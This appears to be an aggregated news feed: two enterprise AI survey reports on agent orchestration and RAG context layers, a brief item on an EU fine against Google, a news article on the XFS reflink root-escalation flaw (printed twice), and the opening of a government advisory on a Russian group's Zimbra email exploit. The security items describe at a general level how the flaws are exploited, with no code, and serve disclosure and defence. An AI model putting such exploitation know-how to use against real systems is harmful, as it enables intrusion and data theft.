By organization size the sample is spread evenly across the enterprise bands: 100–499 employees, 2,500–9,999, and 50,000+ (21% each), with 10,000–49,999 and 500–2,499 (19% each). By role it is senior and buyer-credible: product and program managers (15%), CIO/CTO/CISO (13%), consultants and advisors (13%), and a spread of data, AI, and engineering directors and VPs, with an “Other” function at 18%. On purchasing, 81% are recommenders, influencers, or final decision-makers for AI solutions (66% recommender/influencer, 15% final decision-maker). Technology/Software is the largest industry at 44%, followed by Financial Services (17%) and Healthcare/Life Sciences (8%).
At 101 respondents the sample is robust enough to read directionally with reasonable confidence, though it remains self-selected and is not a probability sample.
Finding 1: Orchestration runs on model-provider platforms
Anthropic’s Claude leads; open frameworks are marginal
We asked which agent orchestration platform enterprises primarily use today. The answer concentrates on the major model providers — and on one in particular.
A note on reading these shares. As described in the methodology section, the respondents are self-selected, and this question asked them for a single primary platform — so the figures measure which platform leads each enterprise's deployment, within a self-selected audience of AI-active technical decision-makers. A sample built this way can diverge substantially from spend-weighted market measures, and each VB Pulse survey draws its own sample with its own company-size mix, so vendor figures should not be compared across our surveys either. Read these shares as a portrait of where this cohort has placed its primary orchestration bet today, rather than as market share.
The model platforms dominate. Anthropic, Microsoft, OpenAI, Google, and Amazon together account for roughly 80% of deployments (81 of 101), while the open frameworks (LangChain/LangGraph) and custom in-house builds that anchor engineering discussion sit in single digits. Anthropic’s lead — 40%, more than double the next platform — mirrors the “model gravity” selection logic in Finding 2: enterprises are choosing the orchestration layer that comes with the model they want to build on. As with the security vendors in the prior agent-security wave, the tools that define the category in technical circles are not yet where enterprise deployment concentrates. A small 3% are not orchestrating at all.
Respondents rate the platforms they run at 3.94 out of 5 overall (109 answered), with “value for money” specifically at 3.94 and “ease of implementation” the weakest score, at 3.85 — placing orchestration near the bottom of our five-tracker satisfaction range, ahead of only evaluation tooling. A rating just under 4 out of 5, from users of whom 96% plan to change their orchestration approach within the year, reads as provisional acceptance: the platforms work well enough to run today, and not well enough to stop the search for something better. The ratings sit alongside near-universal intent to change; this is a layer enterprises tolerate more than they love.
Finding 2: Model gravity drives platform selection
The base model, not the tooling, decides the platform
We asked what most influenced the orchestration platform choice. The single largest factor is the pull of the underlying model — though flexibility and ease of development follow close behind.
Model gravity leading is the selection-side explanation for Anthropic’s platform lead: enterprises pick the orchestration environment closest to the frontier model they have standardized on. But the next tier complicates the picture — flexibility across models and tools (17%) and ease of development (17%) say enterprises also want to avoid being trapped by that choice, foreshadowing the lock-in fear in Finding 6. Security and permissions (14%) and total cost of ownership (11%) round out a pragmatic buying logic. Performance (latency/memory) sits last at 4%, a reminder that at this stage of adoption the binding constraints are model fit and optionality, not raw speed.
Finding 3: The job is reliable multi-step execution
Enterprises just orchestration by whether it completes the work
We asked what enterprises optimize for — their primary success metric for orchestration. Reliability and multi-step workflow management dominate; developer- and user-facing metrics trail.
Task completion reliability (32%) and multi-step workflow management (28%) together account for 59% of responses (60 of 101): orchestration succeeds, in the enterprise view, when it reliably carries a task through multiple steps to completion. Developer productivity (17%) matters but is secondary — the inverse of its prominence in framework discussion — and end-user experience (9%) is a minor concern, consistent with orchestration being an internal execution problem rather than a UX one. This reliability-first standard is exactly what makes the Chatbot Trap finding so pointed: enterprises define success as dependable multi-step execution, yet most of their deployed “agents” do not yet do multi-step work at all.
The trap is not evenly distributed. Splitting the sample by organization size, 77% of smaller enterprises say a quarter or fewer of their agents do true multi-step work, against 62% of larger ones. Larger enterprises are meaningfully further into genuine multi-step deployment; the chatbot trap is, directionally, a mid-market condition.
Finding 4: Consolidate, productionize, and build in-house 
Three strategic moves are nearly tied for the year ahead
We asked what major change enterprises anticipate in their orchestration strategy over the next 12 months. Three moves cluster at the top, almost evenly split.
The top three — building in-house control (25%), standardizing on one framework (24%), and moving agents from sandbox to production (23%) — are statistically indistinguishable and tell a single story: enterprises are moving from experimentation to operational consolidation. They want fewer frameworks, more production exposure, and more ownership of the control layer; only 4% expect no change. The appetite for custom in-house control planes is notable alongside the platform concentration in Finding 1 — enterprises are standardizing on model-provider platforms while simultaneously planning to wrap them in control logic they own, the hybrid posture that Finding 6 makes explicit.
Finding 5: Nearly seven in 10 plan to switch — and the biggest group of movers has no shortlist 
The strategic change enterprises anticipate (previous finding) comes with vendor motion attached. Asked whether they plan to adopt a new, additional, or replacement agent orchestration platform in the next twelve months, more respondents are moving here than in any other layer we track.
Asked which platforms they are considering, the most common answer among those in motion is none yet: 29% of all respondents are evaluating without a shortlist, the largest single response after "not considering a change." Among named candidates, OpenAI leads at 16%, followed by LangChain/LangGraph at 12% and Anthropic at 7% — and notably, the independent frameworks draw roughly double their current usage footprint in forward consideration, the same pattern our security tracker found for specialist vendors. Read with this report's concentration and lock-in findings, the picture completes itself: the major model-platform providers hold roughly four-fifths of today's primary usage, vendor lock-in has become the leading fear, 96% anticipate a strategic change — and now the purchase intent to act on all of it, with the largest bloc of buyers still undecided. The most concentrated layer of the agentic stack is also, as of June, the least settled.
Finding 6: Investment flows to workflow tooling
Tooling and permissions lead the spend; monitoring trails
We asked which orchestration-related investment will grow most next year. Agent workflow tooling leads, with security and permissions enforcement behind.
Workflow tooling leading (34%) is the budget-side expression of the reliability-and-multi-step priority in Finding 3: the money is going to the machinery that strings steps together dependably. Security and permissions enforcement (25%) and scaling infrastructure (20%) follow — the investments required to take agents from sandbox into production, the strategic move in Finding 4. Monitoring and debugging draws a smaller 11%, with another 11% reporting flat budgets. The weight on tooling, permissions, and scaling over pure observability signals that enterprises are spending to build and harden orchestration, not merely to watch it run.
Finding 7: The control plane will be hybrid — and lock-in is why
Enterprises expect to split control between providers and their own layer
We asked where enterprises expect the primary control plane for agents to live by the end of 2026, and what worries them most if that control sits inside a model-provider platform. A clear majority expect a hybrid model — and vendor lock-in is the reason.
Hybrid control is the dominant expectation by a wide margin (51%), and only 6% expect to hand control to a provider-managed service outright. Read together, the hybrid, custom, and externally-abstracted options — every architecture that keeps control at least partly outside the provider — sum to 88% (89 of 101). The reason surfaces directly when we asked about the risk of provider-resident control: vendor lock-in leads at 35% (35 of 101), ahead of security and permissioning limitations (28%) and inflexibility across models and tools (21%). The pattern echoes the prior wave’s “don’t trust the model to police itself” posture — here, enterprises will build on a provider’s platform but decline to be governed entirely by it. The hybrid control plane is the architectural hedge against the lock-in they most fear.
The June figure asserting a preference for a hybrid control plane marks movement from earlier. In the April–May survey (n=145), only 34% expected a hybrid control plane, and a greater number (12%) expected to hand control fully to a provider-managed service. These two snapshots don’t yet measure a confirmed longitudinal trend — but the direction of the conversation is unambiguous: toward keeping control.
Lock-in is also a new arrival as a top concern. In the April–May wave, the leading concern was security and permissioning limitations (32%), with lock-in second at 24%; by June the two had traded places. The worry about provider platforms appears to be maturing from whether they can be secured to whether they can be replaced.
Finding 8: The chatbot trap — most “agents” aren’t agents yet
Enterprises admit most deployments are still chatbot wrappers
We asked enterprises to assess their portfolios honestly: what share of their deployed “agents” are true multi-step orchestrated workflows versus simple single-prompt chatbot wrappers. The answer is the defining finding of this wave.
This is the gap at the center of the report. Combining the bottom two bands, 71% of enterprises (72 of 101) say a quarter or fewer of their deployed “agents” are genuinely orchestrated — and just 10% (10 of 101) have crossed the halfway mark. The ambition documented in the earlier findings — model-provider platforms, reliability-first success metrics, production rollouts, a deliberate control architecture — runs well ahead of the deployed reality, which remains overwhelmingly single-prompt assistants dressed as agents. This is less a contradiction than a roadmap: the platforms, budgets, and strategies are being put in place precisely because the orchestrated portfolio is still so thin. The open question for later waves is how fast the reality closes on the ambition.
Finding 9: Fiscal control is still reactive
Only a minority can stop a runaway agent before the bill arrives
Finally, we asked how enterprises enforce fiscal control over agent token consumption — the risk that an autonomous loop exhausts a budget before anyone intervenes. Most rely on native caps or after-the-fact monitoring; real-time programmatic control is the exception.
More than a quarter of enterprises (27%) admit they have no real-time, programmatic way to stop an agent before a budget-breaking bill arrives — they learn of it from the logs afterward. Another 32% lean entirely on the native caps and throttles built into their primary platform, a control only as good as the provider’s tooling and one that ties back to the lock-in concern of Finding 6. The enterprises building custom gateways (23%) or exploiting cross-model routing to arbitrage cost (19%) are the ones treating token burn as an engineering problem to be controlled deterministically. As with orchestration maturity, fiscal control is an area where the operational reality lags the ambition: agents are moving toward production faster than the cost-control plane around them is being built.
It’s worth noting, a split appears according to company size: roughly one in three enterprises under 2,500 employees (34%) exercises only reactive control of agent spend, against 20% of larger enterprises — directional figures, but consistent with the chatbot-trap split. The mid-market is running the least mature agents on the least instrumented budgets.
The bottom line: The layer is real; most of the agents aren't yet
Organizations with 100 or more employees describe an orchestration strategy that is consolidating quickly and maturing slowly. They are standardizing — for now — on model-provider platforms, which collectively hold roughly four-fifths of primary usage, chosen for the gravity of the underlying model, and they judge success by reliable multi-step execution. Investment is flowing to workflow tooling and permissions, the strategy is to consolidate frameworks and push agents into production, and the control plane they expect is deliberately hybrid, because vendor lock-in is the risk they fear most. But the standardization is provisional: 68% plan to adopt a new, additional, or replacement orchestration platform within twelve months — the highest switching intent of any layer we track — and the largest group of those movers has not yet shortlisted a candidate. Today's concentration describes where enterprises are, and visibly does not describe where they intend to stay.
But the honest self-assessment punctures the ambition. Seventy-one percent say a quarter or fewer of their deployed "agents" are truly orchestrated, only 10% are past the halfway mark, and more than a quarter cannot stop a runaway agent in real time. The orchestration layer — the platforms, the budgets, the control architecture — is being built ahead of the orchestrated portfolio it is meant to run. At 101 respondents in a single June wave this reads as a clear directional signal rather than a precise measurement: enterprises have decided how they want to orchestrate agents well before most of their agents are doing anything an orchestration layer is for. The questions for subsequent waves are whether the deployed reality closes the gap on the ambition — and, with nearly seven in ten buyers in motion and most of them undecided, which platforms the settled stack finally lands on.
Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, results read directionally rather than as a confirmed trend. Respondents include product and program managers, CIOs, CTOs and CISOs, consultants and advisors, and directors and VPs of data, AI, and engineering, across Technology/Software, Financial Services, Healthcare, and other sectors.


The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix
Thu, 23 Jul 2026 19:19:42 +0200
Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define the category — yet a majority of enterprises have already watched their agents produce confident, wrong answers traced to missing or inconsistent context. A governed semantic layer is emerging as the fix, but most are still building it; the field is converging on hybrid retrieval; and even as provider-native tools lead in practice, a plurality say they intend to keep best-of-breed. The result is a context gap — agents that sound authoritative running on a foundation their owners do not yet fully trust.
This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.
The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.
Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.
Methodology
VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.
By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.
At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.
Finding 1: Confident and wrong
More than half have traced agent errors to bad context
We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.
This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know. 
The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.
Finding 2: RAG is the default context source
Retrieval feeds more agents than any other method
We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.
Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.
One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.
Finding 3: Provider-native retrieval already leads the vector databases
OpenAI file search and vertex AI search top the dedicated tools
We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.
The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.
The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.
Finding 4: But they say they want to keep best-of-breed
A plurality resist consolidating onto a provider’s native stack
We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.
Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.
Finding 5: Hybrid retrieval is the consensus bet
Vector-only retrieval is already seen as insufficient
We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.
The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.
Finding 6: The governed context layer is being built now
Most run or are building a semantic layer — few in production
We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.
The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.
Finding 7: Bought on ingestion and simplicity, watched for correctness
Selection favors operability; monitoring favors correctness and security
We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.
Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%). 
Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.
Finding 8: A retrieval reshuffle is coming
A majority plan to change providers — and the vector specialists are gaining interest
We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.
The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.
The bottom line: A context gap that more retrieval alone won’t close
Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.
The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.
Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.


The EU Fines Google $1 Billion for Prioritizing Its Own Services in Search
Thu, 23 Jul 2026 18:53:23 +0200
The European Commission claims that Google boosted its own apps and products to the top of search rankings to the detriment of its competitors.


Linux XFS has a decade-old race condition allowing full root access
Thu, 23 Jul 2026 17:59:07 +0200

		
					  
						




Linux systems using the XFS filesystem suffer from a race condition that could enable an unprivileged local user to gain full root access.



The flaw affects systems with Linux kernel 4.11 or later that have enabled the XFS feature reflink, which permits the creation of copies of a file without actually copying its data.



According to Qualys Threat Research Unit (TRU), there was a way around the file write protections reflink depends on. The bypass has existed in kernel versions since 2017 before a patch was made available last week.



“Using this vulnerability, a process running as an ordinary, unprivileged user can trigger the flaw and gain the ability to overwrite any readable file on an XFS volume at the block layer,” Saeed Abbasi, head of Qualys TRU, said in a blog post about the vulnerability, which he calls  RefluXFS. “Exploitation is highly reliable and leaves no kernel log output.”



Qualys estimated that the issue affects more than 16.4 million systems, primarily enterprise Linux deployments that use XFS with reflink enabled by default.



Race winner gets root in buggy file operation



The vulnerability, tracked as CVE-2026-64600, stemmed from the way XFS handles copy-on-write operations for reflinked files. Normally, when two files share the same storage block, as in the case of an original file and the reflinked clone, XFS allocates a new storage block before any data modification, so the original file remains unchanged.



However, a race condition occurs when two concurrent writes on the reflink file are initiated, confusing the filesystem into modifying the original file. “The change is made directly on disk, persists across reboots, and produces no kernel log output,” Qualys said in an advisory.



The issue is exploitable when Linux 4.11+, XFS with reflink enabled, and a shared filesystem layout are all present. It is assigned a high severity CVSS of 7.8 out of 10 as an exploit only needs read access to a target file before creating a reflink clone under a writable directory on the same XFS filesystem.



Linux distributions affected by RefluXFS



The vulnerability has been present in every mainline and stable Linux kernel since the release of version 4.11 in 2017, and requires no special capabilities or non-default configurations, Qualys said.



Affected Linux distributions include RHEL 8,9 and 10, CentOS Stream 8,9, and 10, Oracle Linux 8,9,10, Rocky and AlmaLinux 8,9, and 10, CloudLinux 8,9, and 10, Amazon Linux 2023 and Amazon Linux 2 AMIs from December 2022 onward, Fedora Server 31+, and Debian, Ubuntu and SUSE installations where XFS was manually selected.



Usual kernel hardening practices, including memory protection features like Kernel Address Space Layout Randomization (KASLR), Supervisor Mode Access Prevention (SMAP), and Supervisor Mode Execution Prevention (SMEP), are ineffective as they are all aimed at different attack surfaces. Even a kernel lockdown does nothing to stop the affected path, Qualys noted.



“SELinux doesn’t block the affected path in testing, and seccomp profiles are no barrier as long as they permit write and ioctl, which ordinary profiles do,” Abbasi explained. Immediate kernel patching and a full reboot are the only reliable mitigations, he added.



A fix was merged into the upstream Linux kernel source tree on July 16 as commit “2f4acd0,” after which Linux distributions began backporting the patch into their own supported kernel releases.



Organizations running affected XFS deployments should apply their Linux vendor’s latest kernel updates and reboot affected systems once fixed kernels become available.



Linux XFS has a decade-old race condition allowing full root access
Thu, 23 Jul 2026 17:58:50 +0200

		
					  
						




Linux systems using the XFS filesystem suffer from a race condition that could enable an unprivileged local user to gain full root access.



The flaw affects systems with Linux kernel 4.11 or later that have enabled the XFS feature reflink, which permits the creation of copies of a file without actually copying its data.



According to Qualys Threat Research Unit (TRU), there was a way around the file write protections reflink depends on. The bypass has existed in kernel versions since 2017 before a patch was made available last week.



“Using this vulnerability, a process running as an ordinary, unprivileged user can trigger the flaw and gain the ability to overwrite any readable file on an XFS volume at the block layer,” Saeed Abbasi, head of Qualys TRU, said in a blog post about the vulnerability, which he calls  RefluXFS. “Exploitation is highly reliable and leaves no kernel log output.”



Qualys estimated that the issue affects more than 16.4 million systems, primarily enterprise Linux deployments that use XFS with reflink enabled by default.



Race winner gets root in buggy file operation



The vulnerability, tracked as CVE-2026-64600, stemmed from the way XFS handles copy-on-write operations for reflinked files. Normally, when two files share the same storage block, as in the case of an original file and the reflinked clone, XFS allocates a new storage block before any data modification, so the original file remains unchanged.



However, a race condition occurs when two concurrent writes on the reflink file are initiated, confusing the filesystem into modifying the original file. “The change is made directly on disk, persists across reboots, and produces no kernel log output,” Qualys said in an advisory.



The issue is exploitable when Linux 4.11+, XFS with reflink enabled, and a shared filesystem layout are all present. It is assigned a high severity CVSS of 7.8 out of 10 as an exploit only needs read access to a target file before creating a reflink clone under a writable directory on the same XFS filesystem.



Linux distributions affected by RefluXFS



The vulnerability has been present in every mainline and stable Linux kernel since the release of version 4.11 in 2017, and requires no special capabilities or non-default configurations, Qualys said.



Affected Linux distributions include RHEL 8,9 and 10, CentOS Stream 8,9, and 10, Oracle Linux 8,9,10, Rocky and AlmaLinux 8,9, and 10, CloudLinux 8,9, and 10, Amazon Linux 2023 and Amazon Linux 2 AMIs from December 2022 onward, Fedora Server 31+, and Debian, Ubuntu and SUSE installations where XFS was manually selected.



Usual kernel hardening practices, including memory protection features like Kernel Address Space Layout Randomization (KASLR), Supervisor Mode Access Prevention (SMAP), and Supervisor Mode Execution Prevention (SMEP), are ineffective as they are all aimed at different attack surfaces. Even a kernel lockdown does nothing to stop the affected path, Qualys noted.



“SELinux doesn’t block the affected path in testing, and seccomp profiles are no barrier as long as they permit write and ioctl, which ordinary profiles do,” Abbasi explained. Immediate kernel patching and a full reboot are the only reliable mitigations, he added.



A fix was merged into the upstream Linux kernel source tree on July 16 as commit “2f4acd0,” after which Linux distributions began backporting the patch into their own supported kernel releases.



Organizations running affected XFS deployments should apply their Linux vendor’s latest kernel updates and reboot affected systems once fixed kernels become available.



This article first appeared on Network World.



Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Thu, 23 Jul 2026 16:59:29 +0200
Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see Cybersecurity industry tracking), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [1].
LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) CVE-2025-66376, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.
Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the Persistence and credential access section.
This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:

United States National Security Agency (NSA)
United States Federal Bureau of Investigation (FBI)
Netherlands Defence Intelligence and Security Service (MIVD)
Netherlands General Intelligence and Security Service (AIVD)
United States Cybersecurity and Infrastructure Security Agency (CISA)
United States Defense Counterintelligence and Security Agency (DCSA)
United States Department of Defense Cyber Crime Center (DC3)
United States Department of the Treasury
United States Naval Criminal Investigative Service (NCIS)
Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
New Zealand National Cyber Security Centre (NCSC-NZ)
United Kingdom National Cyber Security Centre (NCSC-UK)
Czech Republic National Cyber and Information Security Agency (NÚKIB)¹
Danish Defence Intelligence Service (DDIS)²
Estonian Foreign Intelligence Service (EFIS)³
Finnish Defence Intelligence (FDI)⁴
Finnish Security and Intelligence Service (SUPO)⁵
French General Directorate for Internal Security (DGSI)⁶
French National Cybersecurity Agency (ANSSI)⁷
Italian External Intelligence and Security Agency (AISE)⁸
Italian Internal Intelligence and Security Agency (AISI)⁹
Security and Intelligence Service of the Republic of Moldova (SIS RM)¹⁰
Polish Foreign Intelligence Agency (AW)¹¹
The Military Counterintelligence Service of Poland (SKW)¹²
Spain National Intelligence Centre (CNI)¹³
Sweden National Cyber Security Centre (NCSC-SE)¹⁴

The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the Mitigations section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed Indicators of compromise (IOCs).  
As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.
For a downloadable list of IOCs, see:

AA26-204A.stix.xml (STIX XML)
AA26-204A.stix.json (STIX JSON)

Cybersecurity industry tracking
The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:

LAUNDRY BEAR
Void Blizzard [2]
CL-STA-1114 [3]
TA488 (formerly UNK_PitStop) [4]

Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.
Background
